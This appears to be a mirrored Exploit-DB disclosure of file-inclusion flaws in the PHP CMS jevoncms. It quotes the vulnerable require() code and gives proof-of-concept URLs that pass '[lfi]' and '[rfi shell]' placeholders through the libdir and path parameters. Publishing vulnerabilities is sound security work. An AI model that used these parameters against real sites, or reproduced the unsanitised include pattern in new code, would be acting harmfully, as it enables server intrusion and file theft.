jevoncms – Local/Remote File Inclusion - 体验盒子

作者： eidelweiss

日期： 2010-04-05

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/12071/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

########################################################

jevoncms (LFI/RFI) Multiple Vulnerabilities

########################################################

[+]Title : jevoncms (libdir) Multiple Vulnerability

[+]Version: -

[+]Download: http://sourceforge.net/projects/jevoncms/files/

[+]Author: eidelweiss

[+]Contact: eidelweiss[at]cyberservices[dot]com

[!]Thank`s To: all friends

########################################################

-=[ Vuln C0de ]=-

***************************

[-] jevoncms/php/main/jevoncms.php

$_PHPLIB["libdir"] = "phplib/";

require($_PHPLIB["libdir"] ."template.inc");/* Disable this, if you are not using templates. */

require("template/jvc_template.php");

require("php/main/database/jvc_Database.php");

***************************

[-] jevoncms/php/main/template/jvc_template.php

if($type!=$lasttype && $type!=''){

$path= "php/".$type."/".$type.".php" ;

// echo $path;

require($path);

***************************

[-] jevoncms/php/menu/menu.php

//require($_PHPLIB["libdir"] ."template.inc");/* Disable this, if you are not using templates. */

***************************

-=[ Proof Of Concept ]=-

http://127.0.0.1/jevoncms/php/main/jevoncms.php?libdir=[lfi]

http://127.0.0.1/jevoncms/php/main/template/jvc_template.php?path= [rfi shell]

http://127.0.0.1/jevoncms/php/menu/menu.php?libdir=[lfi]

######################=[E0F]=#############################